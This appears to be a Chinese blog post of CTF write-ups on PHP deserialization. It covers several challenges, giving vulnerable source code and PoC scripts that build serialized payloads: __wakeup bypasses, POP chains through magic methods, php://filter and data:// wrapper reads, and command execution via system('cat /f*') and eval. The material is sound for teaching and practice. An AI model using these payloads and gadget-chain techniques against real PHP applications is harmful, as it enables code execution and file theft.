序列化和反序列化(二)
为了方便查找和记录,所以将实操和知识点分开,这篇文章就是由浅入深的介绍反序列化的相关题目
[SWPUCTF 2021 新生赛]ez_unserialize
看源码,有提示
发现Disallow(禁止抓取),使用robots.txt协议查看,发现/cl45s.php目录
代码如下
还是简单分析一下
<?php
error_reporting(0);
show_source("cl45s.php"); // 显示文件 cl45s.php 的源代码
class wllm { // 定义一个名为 wllm 的类
public $admin; // 公共属性 admin
public $passwd; // 公共属性 passwd
public function __construct() { // 构造函数,用于初始化对象
$this->admin = "user"; // 初始化 admin 为 "user"
$this->passwd = "123456"; // 初始化 passwd 为 "123456"
}
public function __destruct() { // 析构函数,用于在对象不再被引用时执行清理操作
// 检查 admin 是否为 "admin" 并且 passwd 是否为 "ctf"
if ($this->admin === "admin" && $this->passwd === "ctf") {
include("flag.php");
echo $flag;
} else {
echo $this->admin; // 打印 admin 的值
echo $this->passwd; // 打印 passwd 的值
echo "Just a bit more!"; // 打印字符串 "Just a bit more!"
}
}
}
$p = $_GET['p']; //GET传参p
unserialize($p); //反序列化p
?>
简单来讲就是要让admin=admin,passwd=ctf时得到flag,然后给了一个get传参的点,将序列化以后的内容传入。
传入可得到flag
php反序列化是可以控制类方法的属性但不能改类方法的代码,所以这里直接更改就行。然后传参,一般这里要url编码一下,规避不可打印字符,前面一篇文章提到过private protected 属性 序列化出来会有不可打印字符,但是这里没有这两个属性,所以就没有演示。
[SWPUCTF 2021 新生赛]no_wakeup
一个简单的超链接,跳转以后有代码
简单的审计
<?php
// 设置HTTP头信息,指定内容的类型和字符编码
header("Content-type:text/html;charset=utf-8");
// 关闭错误报告,不显示任何错误信息
error_reporting(0);
// 显示文件class.php的源代码
show_source("class.php");
// 定义一个名为HaHaHa的类
class HaHaHa{
// 两个公共属性:admin和passwd
public $admin;
public $passwd;
// 构造函数,当创建新对象时自动调用
public function __construct(){
// 初始化admin为"user",passwd为"123456"
$this->admin ="user";
$this->passwd = "123456";
}
// __wakeup魔术方法,当对象被反序列化时自动调用
public function __wakeup(){
// 将passwd加密为sha1哈希值
$this->passwd = sha1($this->passwd);
}
// __destruct魔术方法,当对象被销毁时自动调用
public function __destruct(){
// 检查admin是否等于"admin"且passwd是否等于"wllm"
if($this->admin === "admin" && $this->passwd === "wllm"){
// 如果条件满足,引入flag.php文件,并输出变量$flag的值
include("flag.php");
echo $flag;
}else{
// 如果条件不满足,输出经过sha1加密的passwd值和"No wake up"字符串
echo $this->passwd;
echo "No wake up";
}
}
}
// 通过GET请求获取参数p的值,并将其作为反序列化的输入
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);
?>
admin=admin,passwd=wllm得到flag,序列化p
但其中多了一个
__wakeup
的魔术方法__wakeup函数漏洞原理:当序列化字符串表示对象属性个数的值 大于 真实个数的属性时就会跳过__wakeup的执行
为了触发,在正常的payload基础上改一下
修改前:O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
修改后:O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
传参
[ZJCTF 2019]NiZhuanSiWei
开门见山,展示代码
这里的代码大致的情况,大致可以分为两部分,第一部分是file_get_contents()函数存在的文件包含(也就是伪协议读取)漏洞,另外一部分是,反序列化漏洞。在代码里可以知道的是,实际上,序列化的内容,我们是无法直接看到的,所以实际上在进行反序列化操作之前,要尝试用伪协议去读取序列化的内容。
这里先使用data伪协议来写入,再用filter伪协议读一下注释里面的文件
payload:
?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php
解码
结合原页面的代码可知,这道题的passwd是反序列化的入口,而且此处用到的是__tostring()方法,其触发条件就是 当一个对象被当作str处理 时,例如在echo中被用,恰好index的源码里是echo,就可以用
还是一样的构造payload,但是这里要注意的是这时候我们不需要去访问useless.php文件的内容了,我们构造的反序列化会把之前的覆盖掉,最终我们要的是useless.php来访问我们的flag
所以payload:
/?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D
来到这个页面,这个时候flag文件已经被包含了,所以直接看源代码就有
[SWPUCTF 2021 新生赛]pop
在这道题中,和之前几道题最大的不同就是,这里引入了private和protected这两个属性
在大致审计完代码以后,再结合魔术方法,可以发现实际上,这里最关键的部分还是在w44m这个属性里面,因为这个属性是可以直接读取flag的内容的,也就是平时说的能达到恶意代码攻击的部分,所以将这个属性作为链子的尾部,然后呢传参的位置,也就是这个w00m,是链子的头部。
class w44m{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
w44m类中两个变量的属性并不是共有属性,而是私有属性和保护属性,无法在创建对象的时候,进行赋值;因此我们就直接在类中进行赋值;接下来要考虑的是,如何去调用w44m类中的Getflag方法。这里就需要用到tostring这个方法,可以调用某一个类中的某一个方法。因此可以将w33m类中的两个变量w00m赋值为w44m类名,w22m赋值为Getflag方法;只要给w22m类中的w00m变量一个类w33m就可以实现调用
poc:
<?php
class w44m
{
private $admin = "w44m";
protected $passwd = "08067";
}
class w22m
{
public $w00m;
}
class w33m
{
public $w00m;
public $w22m;
}
// w22m.__destruct().w00m->w33m.__toString().w00m->w44m.Getflag()
$a=new w22m();
$a->w00m=new w33m();
$a->w00m->w00m=new w44m();
$a->w00m->w22m="Getflag";
echo urlencode(serialize($a));
在这个代码里面,链子的构造思路在这里:
w22m.__destruct().w00m->w33m.__toString().w00m->w44m.Getflag()
当 w22m
被销毁时,它会尝试访问 w00m
,而 w00m
是一个 w33m
对象。当 w33m
对象被转换为字符串(可能通过 __toString
方法)时,会访问其自身的 w00m
属性,该属性被设置为一个 w44m
对象。最后,在 w44m
对象上调用 Getflag
方法。
生成的链子不加密是这样的
O:4:"w22m":1:{s:4:"w00m";O:4:"w33m":2:{s:4:"w00m";O:4:"w44m":2:{s:11:" w44m admin";s:4:"w44m";s:9:" * passwd";s:5:"08067";}s:4:"w22m";s:7:"Getflag";}}
这里使用直接用url编码是因为在w44m的两个属性中,直接生成的链子会有不可见字符
[HUBUCTF 2022 新生赛]checkin
这里实际上看到代码懵了一下,因为这个题和之前的题的差别实际上挺明显的,这道题没有类
$data_unserialize = unserialize($info);
根据代码的分析以后可以发现,这里反序列化以后的值实际上赋值给了$data_unserialize
,然后这里涉及了一个函数(但是没什么大用在这道题中)
isset() 函数用于检测变量是否已设置并且非 NULL。
以上是基本用途,而本题中用到的是php的三元运算符
$id = isset($_GET['id']) ? $_GET['id'] : '';
(条件) ? (值1):(值2);
解释:如果条件成立(为真),则执行冒号前边的“值1”,否则执行冒号后面的“值2”。
isset()函数是检测变量是否设置,$_GET['id']是通过get方法传过来的值。
这句话的意思就是:如果$_GET['id']已经被设置,即已经有值了,则$id=$_GET['id'];
如果$_GET['id']没有被设置,则$id = '';
然后比较重要的代码就是这个判断语句了
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password)
实际上一开始看的时候还是有点迷的,因为一开始我觉得,都没有类的话,要怎么去调用属性?思考以后发现这里要反序列化的应该是数组才对,这样用键值对的方式调用数组中的值才合理。
构造看看:
<?php
$info =array("username"=>"this_is_secret","password"=>"this_is_not_known_to_you");
$zerotwo=serialize($info);
echo($zerotwo);
还是错的
在仔细看可发现第五行的代码中,注释已经说了两个的值已经被改变了,所以说实际上我们并不知道这来个变量中具体的值是多少,而这里的重点应该放在,if条件判断语句里面,重点应该是要在这个弱比较“==”,来张图
由表可知,true和非空、非零字符串弱比较(==)都是为true ,再次构建
<?php
$info =array("username"=>true,"password"=>true);
$zerotwo=serialize($info);
echo($zerotwo);
[SWPUCTF 2022 新生赛]1z_unserialize
在题目中没有看到flag.php文件说明被隐藏起来了。 这两个实际上很像函数+指令,system("cat /flag");
$a = $this->lt;
$a($this->lly);
//lt(lly)
因为实际上
$this->lt
需要是一个可调用的值(如闭包、函数名或类方法名),否则会导致运行时错误。可以设置$lt
为任意可调用的PHP代码(如闭包或方法名),并通过$lly
传递参数,从而执行任意代码。($lt
被设置为一个恶意闭包的情况下)
<?php
class lyh{
public $url = 'NSSCTF.com';
public $lt;
public $lly;
}
$a=new lyh();
$a->lt='system';
$a->lly='cat /f*';
echo serialize($a);
?>
试试
直接就构造出来了
[SWPUCTF 2022 新生赛]ez_ez_unserialize
实际上,这道题的结构之前那到是有相似之处的,这里也已经告诉了我们flag文件在在哪,但是__wakeup()这个魔术方法固定死了我们的高亮文件。创造类x,定义了一个魔术常量x为_FILE_(当前文件名),又定义了几个函数,construct函数让x类中的x赋值,wakeup让x重新赋值为_FULE_,destruct函数高亮x常量,如果传参x存在反序列化,否则输出
抓包看看版本,这里实际上是可以确定,可以进行绕过的。由于要绕过wakeup函数,只要序列化的中的成员数大于实际成员数,即可绕过
<?php
class X
{
public $x ;
function __construct($x)
{
$this->x = $x;
}
function __wakeup()
{
if ($this->x !== __FILE__) {
$this->x = __FILE__;
}
}
function __destruct()
{
highlight_file($this->x);
}
}
echo serialize(new X("fllllllag.php"));
修改序列化中的成员数即可
24isctf的ezserialize
代码如下
<?php
error_reporting(0);
class Flag {
private $flag;
public function __construct() {
$this->flag = file_get_contents('/flag');
}
public function getFlag() {
return $this->flag;
}
public function __toString() {
return "You can't directly access the flag!";
}
}
class User {
public $username;
public $isAdmin = false;
public function __construct($username) {
$this->username = $username;
}
public function __wakeup() {
if ($this->isAdmin) {
echo "Welcome, admin! Here's your flag: " . (new Flag())->getFlag();
} else {
echo "Hello, " . htmlspecialchars($this->username) . "!";
}
}
}
if (isset($_GET['data'])) {
$data = $_GET['data'];
$object = unserialize($data);
if ($object instanceof User) {
echo $object;
} else {
echo "Invalid object!";
}
} else {
highlight_file(__FILE__);
}
?>
源码还是有一点多的,但是逻辑很简单
Flag
类:- 属性:
private $flag
: 私有属性,用于存储从文件/flag
中读取的内容。
- 方法:
__construct()
: 构造函数,初始化$flag
属性为文件/flag
的内容。getFlag()
: 返回$flag
的值。__toString()
: 魔术方法,当对象被转换为字符串时调用,返回一个提示信息。
- 属性:
-
User
类:- 属性:
public $username
: 用户名。public $isAdmin = false
: 标记用户是否为管理员,默认值为false
。
- 方法:
__construct($username)
: 构造函数,初始化$username
。__wakeup()
: 魔术方法,在对象反序列化后调用。如果用户是管理员,则输出标志内容;否则,输出“Hello”信息。
- 属性:
稍微修改一下,然后进行赋值
<?php
class Flag {
private $flag;
}
class User {
public $username ="username";
public $isAdmin = true;
}
$a=new Flag();
$b = new User('username ', $flag);
//依赖注入
// 将 Flag 对象传递给 User 对象
// b 对象的 __wakeup() 方法都能够访问 a 对象的 $flag 属性,因为 a 对象的 getFlag() 方法被调用来获取标志值
echo serialize($b);
?>
24isctf的天命人
源码如下
<?php
error_reporting(0);
# 帮天命人搜集法宝,重获齐天之姿!
class Wuzhishan{
public $wu="俺老孙定要踏破这五指山!<br>";
public $zhi;
public $shan;
function __get($j)
{
echo "此地阴阳二气略显虚浮,加上刚刚带入的阳气,或可借此遁逃!<br>";
$yin="s214587387a";
$yang=$_GET['J'];
if (md5($yin)==$yang&&md5($yin)==md5($yang)){
echo "哦?又一个不信天命之人?行了,拿了东西速速离开吧<br>";
system('cat /flag');
}
}
}
class Huoyanjinjing{
public $huoyan;
public $jinjing;
function __get($huo)
{
$this->huoyan="火眼能洞察一切邪祟!<br>";
echo $this->huoyan->jinjing;
}
function __invoke()
{
$this->jinjing="金睛能看破世间迷惘!<br>";
echo $this->huoyan->jinjing;
}
}
class Dinghaishenzhen{
public $Jindou="一个筋斗能翻十万八千里!<br>";
public $yun;
function __toString()
{
$f=$this->yun;
$f();
return "你真的逃出去了吗?天命人?<br>";
}
}
class Jingdouyun{
public $Qishier=72;
public $bian="看俺老孙七十二变!<br>";
function __sleep()
{
echo "三更敲门,菩提老祖送我筋斗云...<br>";
echo new Jindouyun();
}
}
class Tianmingren {
public $tianming;
public $ren;
function __destruct()
{
echo "迷途中的羔羊,你相信天命吗?<br>";
echo $this->tianming;
}
}
$data = unserialize($_POST['Wukong']);
throw new Exception('开局一根棍,装备全靠打。');
?>
还是简单的分析一下代码,这里的链头就是一开始的md5的二次加密的一个弱比较,__get() //调用不可访问、不存在的对象成员属性时触发
class Wuzhishan{
public $wu="俺老孙定要踏破这五指山!<br>";
public $zhi;
public $shan;
function __get($j)
{
echo "此地阴阳二气略显虚浮,加上刚刚带入的阳气,或可借此遁逃!<br>";
$yin="s214587387a";
$yang=$_GET['J'];
if (md5($yin)==$yang&&md5($yin)==md5($yang)){
echo "哦?又一个不信天命之人?行了,拿了东西速速离开吧<br>";
system('cat /flag');
}
}
}
__invoke() //把对象当成函数调用时触发,这里调用参数yun,传入Huoyanjinjing类
然后就
__toString() //把对象当成字符串输出触发 echo $this->tianming;
最后的这个
大致捋清楚以后,就可以开始构造pop链了
<?php
class Wuzhishan{
public $wu="俺老孙定要踏破这五指山!<br>";
public $zhi;
public $shan;
}
class Huoyanjinjing{
public $huoyan;
public $jinjing;
}
class Dinghaishenzhen{
public $Jindou="一个筋斗能翻十万八千里!<br>";
public $yun;
}
class Tianmingren {
public $tianming;
public $ren;
}
class Jingdouyun{
public $Qishier=72;
public $bian="看俺老孙七十二变!<br>";
}
$a=new Wuzhishan();
$b=new Huoyanjinjing();
$b->huoyan=$a;
$c=new Dinghaishenzhen();
$c->yun=$b;
$d=new Tianmingren();
$d->tianming=$c;
echo serialize($d);
?>
[NISACTF 2022]babyserialize
源码如下:
<?php
include "waf.php";
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}
function __call($from,$val){
$this->fun=$val[0];
}
public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}
class Ilovetxw{
public $huang;
public $su;
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}
public function __toString(){
$bb = $this->su;
return $bb();
}
}
class four{
public $a="TXW4EVER";
private $fun='abc';
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}
if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}
//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}
//function hint(){
// echo ".......";
// die();
//}
?>
简单的捋一下还是,四个类,然后根据这四个类去构造链子,然后忽然发现,那个魔术常量好像一直没有细写过,所以还是在这里再介绍一下(因为可能我觉得可写可不写)
在这里
__FILE__ 是一个魔术常量,它返回当前文件的完整路径和文件名。当在一个脚本中使用 __FILE__ 时,它将被替换为当前文件的实际路径,在上述代码中,highlight_file(__FILE__) 表示对当前文件进行语法高亮显示。这样可以让我们在浏览器中查看和分析当前文件的代码。
因为这道题和isctf的两道题还是有不一样的点,这里还是选择着重介绍一下链尾的特征,就是下面这串代码
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
__invoke是一个魔术方法(当脚本尝试将对象调用为函数时触发)
eval()作为内置函数,把字符串作为PHP代码执行
eval就可以满足链尾特征,执行命令,试想,我们如果能传入例如“system('ls')”的命令,就可以执行攻击操作了。
确定了头尾,这里的思路是通过链尾的执行函数,去反推相关的链接,还是承接上面的,详细写一下
最后执行的是txw4ever,所以相当于最后要将命令执行内容传入$this->txw4ever里,传入的过程中需要触发__invoke()函数(将对象调用为函数时触发),如果要改为变量的形式,那么将对象赋给变量,就将对象变为了函数,再往下看的过程中可以发现
需要把$bb()赋为对象,同时,su就是传入它的参数。su的内容,需要传入一个对象,再往上看,可以发现,如果要传入以个对象的话,要执行__toString()这个魔术方法。
__ToString⽅法是当对象被当做字符串的时候会自动调用
继续在所有类里面找,找到strtolower函数,该函数是将字符串转换成小写
对应参数 a ,需要通过if判断,fun为sixsixsix,我们将$fun中的abc改为sixsixsix即可,为了执行上面提到的操作,要触发__set()
找到fun,$this->huang,Ilovetxw调用huang这个属性,这个属性的值再调用fun,调用只有类和对象能做,所以根据上面要触发__set(),huang的赋值应为four这个类的对象,new four->fun,即four调用fun(因为fun是私有变量,最好直接在类里面修改)
回到源码,
__set是对不存在或者不可访问的变量进行赋值就会自动调用
于是我们找到huang,我们可以看到在Ilovetxw类里面并不存在fun这个参数
依次往上追到__call函数,__call是对不存在的方法或者不可访问的方法进行调用就自动调用
再往上看
找到nisa,该类中并不存在这个方法,再往上就找到wakeup函数, 即我们的链头了,该函数在使用unserilize之前就会触发。
大致分析完了以后,开始构造pop链子
$zerotwo =new NISA();
$zerotwo->txw4ever = "system('ls');";
$Darling = new Ilovetxw();
$Darling->su = $zerotwo;
$Franxx =new four();
$Franxx->a = $Darling;
$Darling = new Ilovetxw();
$Darling->huang = $Franxx;
$zzc=new TianXiWei();
$zzc -> ext=$Darling;
echo urlencode(serialize($zzc));
这里用url编码是因为这里的私有属性,验证payload
实际上这里我们并没有对__wakeup函数进行绕过,所以说,这个函数还是被触发了,因为等到反序列化到NISA()的__wakeup时自然会触发
然后这时$fun的值为show_me_flag,满足__wakeup()中if,直接调用hint()方法,我们根据源码最后的注释内容可以看到,hint()方法echo了一些东西,echo的就是flag is in /。那这里很简单了,修改一下fun的值
<?php
class NISA{
public $fun="a";
public $txw4ever; // 1 shell
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}
function __call($from,$val){
$this->fun=$val[0];
}
public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}
class TianXiWei{
public $ext; //5 Ilovetxw
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}
class Ilovetxw{
public $huang; //4 four
public $su; //2 NISA
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}
public function __toString(){
$bb = $this->su;
return $bb();
}
}
class four{
public $a="TXW4EVER"; //3 Ilovetxw
private $fun='sixsixsix'; //fun = "sixsixsix
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}
$zerotwo =new NISA();
$zerotwo->txw4ever = "system('ls');";
$Darling = new Ilovetxw();
$Darling->su = $zerotwo;
$Franxx =new four();
$Franxx->a = $Darling;
$Darling = new Ilovetxw();
$Darling->huang = $Franxx;
$zzc=new TianXiWei();
$zzc -> ext=$Darling;
echo urlencode(serialize($zzc));
发现回显是something wrong
再来结合之前在源码中过滤的
说明可能过滤了什么,先试试大写绕过,不行就换函数passthru()
大写绕过是可行的,但是当前目录没什么好看的,而且通过之前的提示我们也知道flag在根目录了
直接读
这里也可以用通配符“*”,直接读
[NISACTF 2022]popchains
这道题的代码没什么新的
新年快乐~许个愿
<?php
echo 'Happy New Year~ MAKE A WISH<br>';
if(isset($_GET['wish'])){
@unserialize($_GET['wish']);
}
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}
public function __get($key){
$function = $this->effort;
return $function();
}
}
/**********************Try to See flag.php*****************************/
先找找,在哪里可以直接找到执行代码并进行注入的点,即链尾
这里的include,应该是可以用伪协议打洞,直接读flag文件的内容,要将它作为链尾,则要触发 append($value) -->>__invoke(),看到$function()。(__invoke():对象以函数形式被调用时触发 )
要触发 __get($key)(__get():对不存在、不可访问的变量进行赋值就会自动调用),再往下分析
public function __toString(){
return $this->string->page;
}
触发了get属性,然后看看string属性被谁触发
使 $this->string 为 Make_a_Change 的一个对象,则这个对象的类里面没有page这个变量,则会触发__get()。 (__toString():对象被当成字符串时被调用)
这里实际上也说明了$value 的值
按上面的思路构造,然后用filter伪协议读一下flag.php 文件的内容
<?php
class Road_is_Long{
public $page;//4 Road_is_Long
public $string;//3 Make_a_Change
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var="php://filter/convert.base64-encode/resource=/flag";//1 shell
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;//2 Try_Work_Hard
public function __construct(){
$this->effort = array();
}
public function __get($key){
$function = $this->effort;
return $function();
}
}
$zerotwo=new Try_Work_Hard();
$Darling=new Make_a_Change();
$Darling->effort=$zerotwo;
$Franxx=new Road_is_Long();
$Franxx->string=$Darling;
$zzc=new Road_is_Long();
$zzc->page=$Franxx;
echo urlencode(serialize($zzc));
?>
成功读取